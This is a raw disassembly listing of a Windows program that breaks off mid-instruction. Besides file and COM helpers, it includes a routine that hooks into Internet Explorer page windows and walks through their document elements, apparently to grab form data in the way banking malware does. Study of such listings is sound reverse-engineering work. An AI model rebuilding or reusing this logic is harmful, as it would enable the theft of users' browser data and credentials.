sub_4056EB proc near ; DATA XREF: .text:00430714o var_57C = byte ptr -57Ch var_124 = dword ptr -124h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 57Ch push esi push edi lea esi, [ecx+10h] push 0FFFFFFFFh push ds:dword_43819C mov ecx, 15Dh lea edi, [ebp+var_57C] rep movsd call ds:dword_429128 ; WaitForSingleObject mov eax, ds:dword_4381B0 test eax, eax jnz short loc_40572B push ds:dword_43819C call ds:dword_429138 ; ReleaseMutex jmp short loc_40576D ; --------------------------------------------------------------------------- loc_40572B: ; CODE XREF: sub_4056EB+30j push dword ptr [eax] mov eax, [eax+4] push 164h lea ecx, [ebp+var_8] push offset sub_434350 push ecx call sub_405123 add esp, 10h push ds:dword_43819C call ds:dword_429138 ; ReleaseMutex push [ebp+var_4] mov eax, [ebp+var_124] push [ebp+var_8] call sub_405615 pop ecx pop ecx lea esi, [ebp+var_8] call sub_404F53 loc_40576D: ; CODE XREF: sub_4056EB+3Ej pop edi pop esi leave retn sub_4056EB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_405771 proc near ; DATA XREF: .text:004306D4o var_8F40 = byte ptr -8F40h var_8ED8 = byte ptr -8ED8h var_6E68 = byte ptr -6E68h var_6DF8 = byte ptr -6DF8h var_6334 = byte ptr -6334h var_4D90 = byte ptr -4D90h var_4D8F = byte ptr -4D8Fh var_3CFC = byte ptr -3CFCh var_3238 = byte ptr -3238h var_3237 = byte ptr -3237h var_3234 = byte ptr -3234h var_31B8 = byte ptr -31B8h var_29E8 = byte ptr -29E8h var_253D = byte ptr -253Dh var_2250 = byte ptr -2250h var_1A6C = byte ptr -1A6Ch var_1A5C = byte ptr -1A5Ch var_1738 = byte ptr -1738h var_1734 = byte ptr -1734h var_1728 = byte ptr -1728h var_14A0 = byte ptr -14A0h var_1400 = byte ptr -1400h var_CF4 = dword ptr -0CF4h var_CE4 = byte ptr -0CE4h var_CD0 = byte ptr -0CD0h var_CA0 = byte ptr -0CA0h var_690 = byte ptr -690h var_11C = byte ptr -11Ch var_11B = byte ptr -11Bh var_CC = byte ptr -0CCh var_C9 = byte ptr -0C9h var_9F = byte ptr -9Fh var_9D = byte ptr -9Dh var_9C = byte ptr -9Ch var_54 = byte ptr -54h var_2C = byte ptr -2Ch var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov eax, 8F40h lea ebp, [esp-78h] call sub_41E090 mov eax, ds:dword_42FE54 push esi mov [ebp+78h+var_18], eax mov eax, ds:dword_42FE58 push edi lea esi, [ecx+10h] mov [ebp+78h+var_14], eax lea eax, [ebp+78h+var_690] mov ecx, 15Dh lea edi, [ebp+78h+var_690] push eax rep movsd mov [ebp+78h+var_10], 7515123Ch mov [ebp+78h+var_C], 1004600h call sub_414B44 push eax call ds:dword_429274 ; inet_ntoa push eax lea eax, [ebp+78h+var_54] push offset loc_42FE48 push eax call sub_41CA2D add esp, 0Ch xor eax, eax loc_4057D7: ; CODE XREF: sub_405771+7Dj mov cl, [ebp+eax+78h+var_54] mov [ebp+eax*2+78h+var_11C], cl mov [ebp+eax*2+78h+var_11B], 0 inc eax cmp eax, 28h jb short loc_4057D7 push 60h lea eax, [ebp+78h+var_CC] push offset dword_4346D8 push eax call sub_41BC60 lea eax, [ebp+78h+var_54] push eax call sub_41C350 shl eax, 1 push eax lea eax, [ebp+78h+var_11C] push eax lea eax, [ebp+78h+var_9C] push eax call sub_41BC60 add esp, 1Ch push 9 lea eax, [ebp+78h+var_54] push (offset aC_0+3) push eax call sub_41C350 pop ecx lea eax, [ebp+eax*2+78h+var_9D] push eax call sub_41BC60 lea eax, [ebp+78h+var_54] push eax call sub_41C350 lea eax, [eax+eax+34h] mov [ebp+78h+var_8], eax push 1 lea eax, [ebp+78h+var_8] push eax lea eax, [ebp+78h+var_C9] push eax call sub_41BC60 lea eax, [ebp+78h+var_54] push eax call sub_41C350 lea eax, [eax+eax+9] mov [ebp+78h+var_1C], eax push 1 lea eax, [ebp+78h+var_1C] push eax lea eax, [ebp+78h+var_9F] push eax call sub_41BC60 add esp, 2Ch push 89h push offset dword_4344B8 lea edi, [ebp+78h+var_690] call sub_414C2D cmp eax, 0FFFFFFFFh jz loc_405C8E push ebx mov ebx, 640h push ebx lea eax, [ebp+78h+var_CD0] push eax mov esi, edi call sub_414D0B push 0A8h push offset dword_434548 call sub_414C2D cmp eax, 0FFFFFFFFh jz loc_405C8D push ebx lea eax, [ebp+78h+var_CD0] push eax call sub_414D0B push 0DEh push offset dword_4345F8 call sub_414C2D cmp eax, 0FFFFFFFFh jz loc_405C8D push ebx lea eax, [ebp+78h+var_CD0] push eax call sub_414D0B xor eax, eax loc_4058FA: ; CODE XREF: sub_405771+198j mov cl, [ebp+eax*2+78h+var_CA0] mov [ebp+eax+78h+var_2C], cl inc eax cmp eax, 0Ch jb short loc_4058FA lea eax, [ebp+78h+var_2C] push (offset loc_42FE40+4) push eax mov [ebp+78h+var_20], 0 call sub_41CDC0 test eax, eax pop ecx pop ecx jz loc_405B17 mov esi, 0DACh push esi mov ebx, 90h lea eax, [ebp+78h+var_2250] push ebx push eax mov [ebp+78h+var_1], 0 call sub_41C6D0 push 4 lea eax, [ebp+78h+var_10] push eax lea eax, [ebp+78h+var_1A6C] push eax call sub_41BC60 add esp, 18h push 0FFFFFFFFh push ds:dword_43819C call ds:dword_429128 ; WaitForSingleObject mov eax, ds:dword_4381B0 test eax, eax jz loc_405B64 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+78h+var_1A5C] push eax call sub_41BC60 push 4 lea eax, [ebp+78h+var_1738] push offset loc_42FE38 push eax call sub_41BC60 push 4 lea eax, [ebp+78h+var_10] push eax lea eax, [ebp+78h+var_1734] push eax call sub_41BC60 mov eax, ds:dword_4381B0 push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+78h+var_1728] push eax call sub_41BC60 add esp, 30h push ds:dword_43819C call ds:dword_429138 ; ReleaseMutex xor eax, eax loc_4059D0: ; CODE XREF: sub_405771+278j mov cl, [ebp+eax+78h+var_2250] mov [ebp+eax*2+78h+var_4D90], cl mov [ebp+eax*2+78h+var_4D8F], 0 inc eax cmp eax, esi jb short loc_4059D0 mov esi, 1C52h push esi lea eax, [ebp+78h+var_8F40] push 31h push eax mov [ebp+78h+var_3238], 0 mov [ebp+78h+var_3237], 0 call sub_41C6D0 push esi lea eax, [ebp+78h+var_6E68] push 31h push eax call sub_41C6D0 add esp, 18h loc_405A1F: ; CODE XREF: sub_405771+44Aj push 0E29h lea eax, [ebp+78h+var_3234] push 31h push eax call sub_41C6D0 mov eax, [ebp+78h+var_8] add esp, 0Ch add eax, 4 push eax lea eax, [ebp+78h+var_CC] push eax lea edi, [ebp+78h+var_690] call sub_414C2D cmp eax, 0FFFFFFFFh jz loc_405C8D push 640h lea eax, [ebp+78h+var_CD0] push eax mov esi, edi call sub_414D0B push 68h push offset dword_434740 call sub_414C2D cmp eax, 0FFFFFFFFh jz loc_405C8D push 640h lea eax, [ebp+78h+var_CD0] push eax call sub_414D0B push 0A0h push offset dword_4347B0 call sub_414C2D cmp eax, 0FFFFFFFFh jz loc_405C8D push 640h lea eax, [ebp+78h+var_CD0] push eax call sub_414D0B cmp [ebp+78h+var_1], 1 jnz loc_405BC0 push 7Ch lea eax, [ebp+78h+var_3234] push offset dword_434858 push eax call sub_41BC60 push 7D0h lea eax, [ebp+78h+var_14A0] push eax lea eax, [ebp+78h+var_31B8] push eax call sub_41BC60 push ebx lea eax, [ebp+78h+var_29E8] push offset off_4348D8 push eax call sub_41BC60 add esp, 24h mov [ebp+78h+var_253D], 0 push 0CF8h lea eax, [ebp+78h+var_3234] jmp loc_405C69 ; --------------------------------------------------------------------------- loc_405B17: ; CODE XREF: sub_405771+1B0j lea eax, [ebp+78h+var_2C] push offset loc_42FE40 push eax call sub_41CDC0 test eax, eax pop ecx pop ecx jz loc_405C8D push 7D0h mov ebx, 90h lea eax, [ebp+78h+var_14A0] push ebx push eax mov [ebp+78h+var_1], 1 call sub_41C6D0 add esp, 0Ch push 0FFFFFFFFh push ds:dword_43819C call ds:dword_429128 ; WaitForSingleObject mov eax, ds:dword_4381B0 test eax, eax jnz short loc_405B75 loc_405B64: ; CODE XREF: sub_405771+1FCj push ds:dword_43819C call ds:dword_429138 ; ReleaseMutex jmp loc_405C8D ; --------------------------------------------------------------------------- loc_405B75: ; CODE XREF: sub_405771+3F1j push dword ptr [eax+4] push dword ptr [eax] lea eax, [ebp+78h+var_1400] push eax call sub_41BC60 add esp, 0Ch push ds:dword_43819C call ds:dword_429138 ; ReleaseMutex lea eax, [ebp+78h+var_18] push eax call sub_41C350 push eax lea eax, [ebp+78h+var_18] push eax lea eax, [ebp+78h+var_CE4] push eax call sub_41BC60 mov eax, [ebp+78h+var_C] add esp, 10h mov [ebp+78h+var_CF4], eax jmp loc_405A1F ; --------------------------------------------------------------------------- loc_405BC0: ; CODE XREF: sub_405771+349j push 68h lea eax, [ebp+78h+var_8F40] push offset dword_434970 push eax call sub_41BC60 push 1B5Ah lea eax, [ebp+78h+var_4D90] push eax lea eax, [ebp+78h+var_8ED8] push eax call sub_41BC60 push 70h lea eax, [ebp+78h+var_6E68] push offset dword_4349E0 push eax call sub_41BC60 push 0A5Eh lea eax, [ebp+78h+var_3CFC] push eax lea eax, [ebp+78h+var_6DF8] push eax call sub_41BC60 push 84h lea eax, [ebp+78h+var_6334] push offset dword_434A58 push eax call sub_41BC60 add esp, 3Ch push 10FCh lea eax, [ebp+78h+var_8F40] push eax lea edi, [ebp+78h+var_690] call sub_414C2D cmp eax, 0FFFFFFFFh jz short loc_405C8D push 640h lea eax, [ebp+78h+var_CD0] push eax mov esi, edi call sub_414D0B push 0FDCh lea eax, [ebp+78h+var_6E68] loc_405C69: ; CODE XREF: sub_405771+3A1j lea edi, [ebp+78h+var_690] push eax call sub_414C2D cmp eax, 0FFFFFFFFh jz short loc_405C8D push 640h lea eax, [ebp+78h+var_CD0] push eax mov esi, edi call sub_414D0B loc_405C8D: ; CODE XREF: sub_405771+14Fj ; sub_405771+174j ... pop ebx loc_405C8E: ; CODE XREF: sub_405771+122j pop edi pop esi add ebp, 78h leave retn sub_405771 endp ; =============== S U B R O U T I N E ======================================= sub_405C95 proc near ; CODE XREF: .text:00408BE3p ; sub_40F0E9+24p ... arg_0 = dword ptr 4 push [esp+arg_0] or dword ptr [esi], 0FFFFFFFFh mov eax, esi call sub_405CD8 mov eax, esi retn 4 sub_405C95 endp ; --------------------------------------------------------------------------- loc_405CA8: ; CODE XREF: .text:004279CEj ; .text:00427A68j ... jmp sub_405CF2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405CAD proc near ; CODE XREF: sub_402382+4Bp ; sub_405CD8+12p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi mov esi, eax call sub_405CF2 push 0 push [ebp+arg_10] push [ebp+arg_C] push 0 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call ds:dword_4290F4 ; CreateFileA mov [esi], eax pop esi pop ebp retn 14h sub_405CAD endp ; =============== S U B R O U T I N E ======================================= sub_405CD8 proc near ; CODE XREF: sub_404B0D+3Bp ; sub_405C95+9p ... arg_0 = dword ptr 4 push 80h push 4 push 3 push 0C0000000h push [esp+10h+arg_0] call sub_405CAD retn 4 sub_405CD8 endp ; =============== S U B R O U T I N E ======================================= sub_405CF2 proc near ; CODE XREF: sub_402382+76p ; sub_402382+7Bp ... mov eax, [esi] cmp eax, 0FFFFFFFFh jz short locret_405D03 push eax call ds:dword_4290F0 ; CloseHandle or dword ptr [esi], 0FFFFFFFFh locret_405D03: ; CODE XREF: sub_405CF2+5j retn sub_405CF2 endp ; =============== S U B R O U T I N E ======================================= sub_405D04 proc near ; CODE XREF: sub_405D1D+10p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] push dword ptr [eax] call ds:dword_429108 ; ReadFile retn 0Ch sub_405D04 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D1D proc near ; CODE XREF: sub_402382+6Ep arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_8] push eax push [ebp+arg_8] mov eax, [ebp+arg_0] push [ebp+arg_4] call sub_405D04 pop ebp retn 0Ch sub_405D1D endp ; =============== S U B R O U T I N E ======================================= sub_405D36 proc near ; CODE XREF: sub_405D4F+10p ; sub_407466+22Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] push dword ptr [eax] call ds:dword_429104 ; WriteFile retn 0Ch sub_405D36 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D4F proc near ; CODE XREF: sub_405D68+33p ; .text:0040B3C8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp lea eax, [ebp+arg_8] push eax push [ebp+arg_8] mov eax, [ebp+arg_0] push [ebp+arg_4] call sub_405D36 pop ebp retn 0Ch sub_405D4F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405D68 proc near ; CODE XREF: .text:00408C3Ep ; .text:00408C55p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi lea eax, [ebp+arg_8] push eax push [ebp+arg_4] call sub_41D258 mov esi, eax lea eax, [esi+1] push eax call sub_41BA91 mov edi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push edi call sub_41D201 add esp, 18h push esi push edi push [ebp+arg_0] call sub_405D4F push edi mov esi, eax call sub_41C7B8 pop ecx pop edi mov eax, esi pop esi pop ebp retn sub_405D68 endp ; =============== S U B R O U T I N E ======================================= sub_405DAF proc near ; CODE XREF: .text:00408BF0p push 2 push 0 push 0 push dword ptr [eax] call ds:dword_4290FC ; SetFilePointer retn sub_405DAF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DBE proc near ; CODE XREF: .text:0040AA5Dp ; .text:00416E8Ep ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov ecx, [ebp+arg_C] push [ebp+arg_4] mov eax, [ebp+arg_8] mov [ebp+var_4], ecx lea ecx, [ebp+var_4] push ecx push eax mov [ebp+var_8], eax mov eax, [ebp+arg_0] push dword ptr [eax] call ds:dword_4290FC ; SetFilePointer leave retn 10h sub_405DBE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405DE6 proc near ; CODE XREF: sub_40F0E9+4Ep ; sub_40F0E9+6Ep var_408 = byte ptr -408h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 408h push ebx push edi mov edi, ds:dword_4291BC xor ebx, ebx push ebx push dword ptr [esi] mov [ebp+var_4], ebx call edi ; GetFileSize test eax, eax jbe short loc_405E5B loc_405E05: ; CODE XREF: sub_405DE6+73j push 0 lea eax, [ebp+var_8] push eax push 400h lea eax, [ebp+var_408] push eax push dword ptr [esi] call ds:dword_429108 ; ReadFile test eax, eax jz short loc_405E5B mov ecx, [ebp+var_8] xor eax, eax test ecx, ecx jbe short loc_405E4D loc_405E2C: ; CODE XREF: sub_405DE6+65j mov edx, [ebp+arg_0] mov dl, [ebx+edx] cmp dl, [ebp+eax+var_408] jnz short loc_405E46 inc ebx cmp ebx, [ebp+arg_4] jnz short loc_405E48 xor eax, eax inc eax jmp short loc_405E5D ; --------------------------------------------------------------------------- loc_405E46: ; CODE XREF: sub_405DE6+53j xor ebx, ebx loc_405E48: ; CODE XREF: sub_405DE6+59j inc eax cmp eax, ecx jb short loc_405E2C loc_405E4D: ; CODE XREF: sub_405DE6+44j add [ebp+var_4], ecx push 0 push dword ptr [esi] call edi ; GetFileSize cmp [ebp+var_4], eax jb short loc_405E05 loc_405E5B: ; CODE XREF: sub_405DE6+1Dj ; sub_405DE6+3Bj xor eax, eax loc_405E5D: ; CODE XREF: sub_405DE6+5Ej pop edi pop ebx leave retn 8 sub_405DE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405E63 proc near ; CODE XREF: .text:00407B14p ; .text:00408227p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push edi xor edi, edi push edi mov [ebp+var_4], edi mov [ebp+var_8], edi mov [esi], edi mov [esi+4], edi call ds:dword_4292F4 test eax, eax jl short loc_405EBC lea ecx, [ebp+var_4] push ecx xor eax, eax push offset dword_42FE7C inc eax push eax push edi push offset dword_42FE8C mov [esi+4], eax call ds:dword_4292F8 test eax, eax jl short loc_405EBC mov eax, [ebp+var_4] mov ecx, [eax] lea edx, [ebp+var_8] push edx push eax call dword ptr [ecx+1Ch] test eax, eax jl short loc_405EBC mov eax, [ebp+var_8] mov ecx, [eax] push esi push eax call dword ptr [ecx+1Ch] loc_405EBC: ; CODE XREF: sub_405E63+1Cj ; sub_405E63+3Cj ... mov eax, [ebp+var_4] cmp eax, edi jz short loc_405EC9 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_405EC9: ; CODE XREF: sub_405E63+5Ej mov eax, [ebp+var_8] cmp eax, edi pop edi jz short loc_405ED7 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_405ED7: ; CODE XREF: sub_405E63+6Cj mov eax, esi leave retn sub_405E63 endp ; =============== S U B R O U T I N E ======================================= sub_405EDB proc near ; CODE XREF: .text:00407B55p ; .text:00407BFEp ... mov eax, [esi] test eax, eax jz short loc_405EE7 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_405EE7: ; CODE XREF: sub_405EDB+4j cmp dword ptr [esi+4], 0 jz short locret_405EF3 jmp ds:dword_4292FC ; --------------------------------------------------------------------------- locret_405EF3: ; CODE XREF: sub_405EDB+10j retn sub_405EDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405EF4 proc near ; CODE XREF: .text:00407B28p ; .text:0040823Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx mov eax, [eax] test eax, eax jz loc_405FAF and [ebp+var_4], 0 and [ebp+var_8], 0 mov ecx, [eax] push ebx lea edx, [ebp+var_8] push edx push eax xor ebx, ebx call dword ptr [ecx+48h] test eax, eax jl short loc_405F90 lea eax, [ebp+var_4] push eax push offset dword_42FE5C push 1 push ebx push offset dword_42FE6C call ds:dword_4292F8 test eax, eax jl short loc_405F90 push esi push [ebp+arg_8] call ds:dword_4291D8 mov esi, eax test esi, esi jz short loc_405F8F movzx edx, [ebp+arg_0] mov eax, [ebp+var_4] mov ecx, [eax] push edx push eax call dword ptr [ecx+38h] test eax, eax jl short loc_405F88 mov eax, [ebp+var_4] push [ebp+arg_4] mov ecx, [eax] push eax call dword ptr [ecx+30h] test eax, eax jl short loc_405F88 mov eax, [ebp+var_4] mov ecx, [eax] push esi push eax call dword ptr [ecx+20h] test eax, eax jl short loc_405F88 mov eax, [ebp+var_8] push [ebp+var_4] mov ecx, [eax] push eax call dword ptr [ecx+20h] test eax, eax jl short loc_405F88 inc ebx loc_405F88: ; CODE XREF: sub_405EF4+63j ; sub_405EF4+73j ... push esi call ds:dword_4291D4 loc_405F8F: ; CODE XREF: sub_405EF4+51j pop esi loc_405F90: ; CODE XREF: sub_405EF4+26j ; sub_405EF4+41j mov eax, [ebp+var_4] test eax, eax jz short loc_405F9D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_405F9D: ; CODE XREF: sub_405EF4+A1j mov eax, [ebp+var_8] test eax, eax jz short loc_405FAA mov ecx, [eax] push eax call dword ptr [ecx+8] loc_405FAA: ; CODE XREF: sub_405EF4+AEj mov eax, ebx pop ebx jmp short locret_405FB1 ; --------------------------------------------------------------------------- loc_405FAF: ; CODE XREF: sub_405EF4+9j xor eax, eax locret_405FB1: ; CODE XREF: sub_405EF4+B9j leave retn 0Ch sub_405EF4 endp ; =============== S U B R O U T I N E ======================================= sub_405FB5 proc near ; CODE XREF: sub_40716D+12p ; sub_40716D+25p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 10h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41D290 add esp, 0Ch neg eax sbb eax, eax inc eax retn sub_405FB5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_405FCD proc near ; CODE XREF: sub_406033+2Bp ; sub_4095A8+1Fp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov [ebp+arg_0], eax push offset dword_431200 lea eax, [ebp+arg_0] push eax call sub_41E4BE int 3 ; Trap to Debugger sub_405FCD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_405FE5 proc near ; CODE XREF: sub_4070F6:loc_407118p test esi, esi jnz short loc_405FEC xor eax, eax retn ; --------------------------------------------------------------------------- loc_405FEC: ; CODE XREF: sub_405FE5+2j test edi, edi jz short loc_405FF6 mov eax, [edi] push edi call dword ptr [eax+4] loc_405FF6: ; CODE XREF: sub_405FE5+9j mov eax, [esi] test eax, eax jz short loc_406002 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406002: ; CODE XREF: sub_405FE5+15j mov [esi], edi mov eax, edi retn sub_405FE5 endp ; =============== S U B R O U T I N E ======================================= sub_406007 proc near ; CODE XREF: sub_406B3F+27Bp arg_0 = dword ptr 4 test esi, esi jnz short loc_40600F xor eax, eax jmp short locret_406030 ; --------------------------------------------------------------------------- loc_40600F: ; CODE XREF: sub_406007+2j push edi mov edi, [esi] and dword ptr [esi], 0 test eax, eax jz short loc_406023 mov ecx, [eax] push esi push [esp+8+arg_0] push eax call dword ptr [ecx] loc_406023: ; CODE XREF: sub_406007+10j test edi, edi jz short loc_40602D mov eax, [edi] push edi call dword ptr [eax+8] loc_40602D: ; CODE XREF: sub_406007+1Ej mov eax, [esi] pop edi locret_406030: ; CODE XREF: sub_406007+6j retn 4 sub_406007 endp ; =============== S U B R O U T I N E ======================================= sub_406033 proc near ; CODE XREF: sub_4060DC+341p ; sub_4060DC+353p arg_0 = dword ptr 4 mov eax, [esi] cmp [esp+arg_0], eax jz short loc_406066 push eax call ds:dword_4291D4 cmp [esp+arg_0], 0 jz short loc_406063 push [esp+arg_0] call ds:dword_4291D8 test eax, eax mov [esi], eax jnz short loc_406066 push 8007000Eh call sub_405FCD loc_406063: ; CODE XREF: sub_406033+14j and dword ptr [esi], 0 loc_406066: ; CODE XREF: sub_406033+6j ; sub_406033+24j mov eax, esi retn 4 sub_406033 endp ; --------------------------------------------------------------------------- loc_40606B: ; CODE XREF: .text:004279B4j ; .text:00427A56j ... push dword ptr [eax] call ds:dword_4291D4 retn ; --------------------------------------------------------------------------- loc_406074: ; CODE XREF: .text:00427976j ; .text:0042797Ej ... push ecx call ds:dword_4291CC retn ; =============== S U B R O U T I N E ======================================= sub_40607C proc near ; CODE XREF: sub_4060DC+180p ; sub_406B3F+208p arg_0 = dword ptr 4 cmp word ptr [esi], 3 jz short loc_40608E push esi call ds:dword_4291CC mov word ptr [esi], 3 loc_40608E: ; CODE XREF: sub_40607C+4j mov eax, [esp+arg_0] mov [esi+8], eax mov eax, esi retn 4 sub_40607C endp ; =============== S U B R O U T I N E ======================================= sub_40609A proc near ; CODE XREF: sub_406A96+5Ap push esi mov esi, ecx and dword ptr [esi+4], 0 or dword ptr [esi+0Ch], 0FFFFFFFFh mov dword ptr [esi], offset off_42FECC mov [esi+10h], eax call sub_416AC4 mov eax, esi pop esi retn sub_40609A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4060B7 proc near ; DATA XREF: .text:off_42FECCo push esi mov esi, ecx loc_4060BA: ; CODE XREF: sub_4060B7+23j mov eax, [esi+10h] push 0 push 0 push 8000h push dword ptr [eax+8] call ds:dword_4291FC ; PostThreadMessageA push 1388h call ds:dword_429084 ; Sleep jmp short loc_4060BA sub_4060B7 endp ; =============== S U B R O U T I N E ======================================= sub_4060DC proc near ; DATA XREF: sub_4071F6+49o mov eax, offset loc_427B5B call sub_41E550 sub esp, 110h push ebx push esi push edi push 40h lea eax, [ebp-11Ch] push eax push dword ptr [ebp+8] call ds:dword_429208 ; GetClassNameA lea eax, [ebp-11Ch] push offset aInternetExplor ; "Internet Explorer_Server" push eax call sub_41C730 test eax, eax pop ecx pop ecx jnz loc_406983 xor esi, esi mov [ebp-10h], esi lea eax, [ebp-98h] push eax push 3E8h push esi push esi push esi mov [ebp-4], esi push ds:dword_435F48 push dword ptr [ebp+8] call ds:dword_42923C ; SendMessageTimeoutA mov eax, ds:dword_435F50 cmp eax, esi jz loc_406972 lea ecx, [ebp-10h] push ecx push esi push offset dword_429408 push dword ptr [ebp-98h] call eax test eax, eax jl loc_406972 and [ebp-14h], esi mov byte ptr [ebp-4], 1 mov eax, [ebp-10h] mov ecx, [eax] lea edx, [ebp-14h] push edx push eax call dword ptr [ecx+1B0h] mov eax, [ebp-10h] mov ecx, [eax] lea edx, [ebp-9Ch] push edx push eax call dword ptr [ecx+44h] push dword ptr [ebp-9Ch] push offset dword_435D48 call sub_41D445 test eax, eax pop ecx pop ecx jnz loc_406961 xor edi, edi mov [ebp-18h], edi mov esi, ds:dword_4291C8 lea eax, [ebp-80h] push eax call esi lea eax, [ebp-70h] push eax call esi mov byte ptr [ebp-4], 4 mov eax, [ebp-14h] mov ecx, [eax] lea edx, [ebp-18h] push edx push eax call dword ptr [ecx+24h] test eax, eax jl loc_406A42 mov eax, [ebp-18h] mov ecx, [eax] lea edx, [ebp-8Ch] push edx push eax call dword ptr [ecx+20h] test eax, eax jl loc_406A42 cmp [ebp-8Ch], edi mov ebx, ds:dword_4291D4 jnz short loc_406229 mov eax, [ebp-14h] cmp eax, edi jz short loc_406210 mov [ebp-14h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406210: ; CODE XREF: sub_4060DC+129j mov eax, [ebp-18h] cmp eax, edi jz loc_4062BF mov [ebp-18h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] jmp loc_4062BF ; --------------------------------------------------------------------------- loc_406229: ; CODE XREF: sub_4060DC+122j mov [ebp-88h], edi loc_40622F: ; CODE XREF: sub_4060DC+7ADj mov eax, [ebp-8Ch] cmp [ebp-88h], eax jge loc_40693E mov eax, [ebp-10h] xor edi, edi cmp eax, edi jz short loc_406253 mov [ebp-10h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406253: ; CODE XREF: sub_4060DC+16Cj push dword ptr [ebp-88h] lea esi, [ebp-80h] call sub_40607C mov eax, [ebp-18h] mov ecx, [eax] lea edx, [ebp-70h] push edx lea edx, [ebp-80h] push edx push eax call dword ptr [ecx+1Ch] test eax, eax jl loc_406A42 mov eax, [ebp-14h] cmp eax, edi jz short loc_40628A mov [ebp-14h], edi mov ecx, [eax] push eax call dword ptr [ecx+8] loc_40628A: ; CODE XREF: sub_4060DC+1A3j mov eax, [ebp-68h] cmp eax, edi jz short loc_4062A7 mov ecx, [eax] lea edx, [ebp-14h] push edx push offset loc_4293F8 push eax call dword ptr [ecx] test eax, eax jl loc_406A42 loc_4062A7: ; CODE XREF: sub_4060DC+1B3j mov eax, [ebp-14h] mov ecx, [eax] lea edx, [ebp-10h] push edx push eax call dword ptr [ecx+0D0h] test eax, eax jl loc_406A42 loc_4062BF: ; CODE XREF: sub_4060DC+139j ; sub_4060DC+148j mov [ebp-28h], edi mov byte ptr [ebp-4], 5 mov eax, [ebp-10h] mov ecx, [eax] lea edx, [ebp-28h] push edx push eax call dword ptr [ecx+20h] test eax, eax jl loc_406865 mov eax, [ebp-28h] mov ecx, [eax] lea edx, [ebp-90h] push edx push eax call dword ptr [ecx+24h] test eax, eax jl loc_40692D and dword ptr [ebp-44h], 0 cmp dword ptr [ebp-90h], 0 jle loc_406865 loc_406304: ; CODE XREF: sub_4060DC+3B7j xor eax, eax mov [ebp-24h], eax mov [ebp-20h], eax mov [ebp-1Ch], eax mov eax, [ebp-44h] mov word ptr [ebp-0ACh], 3 mov [ebp-0A4h], eax mov word ptr [ebp-0DCh], 3 mov [ebp-0D4h], eax mov byte ptr [ebp-4], 0Ah lea edx, [ebp-24h] push edx sub esp, 10h mov edi, esp mov eax, [ebp-28h] lea esi, [ebp-0ACh] movsd movsd mov ecx, [eax] movsd movsd sub esp, 10h mov edi, esp lea esi, [ebp-0DCh] movsd movsd movsd push eax movsd call dword ptr [ecx+2Ch] mov esi, ds:dword_4291CC test eax, eax lea eax, [ebp-0DCh] push eax setl byte ptr [ebp+0Bh] call esi lea eax, [ebp-0ACh] push eax mov byte ptr [ebp-4], 8 call esi cmp byte ptr [ebp+0Bh], 0 jnz loc_4068FA mov eax, [ebp-24h] xor edi, edi cmp eax, edi jz loc_406454 mov ecx, [eax] lea edx, [ebp-20h] push edx push offset dword_42FEBC push eax call dword ptr [ecx] mov esi, eax mov eax, [ebp-24h] cmp eax, edi jz short loc_4063B8 mov 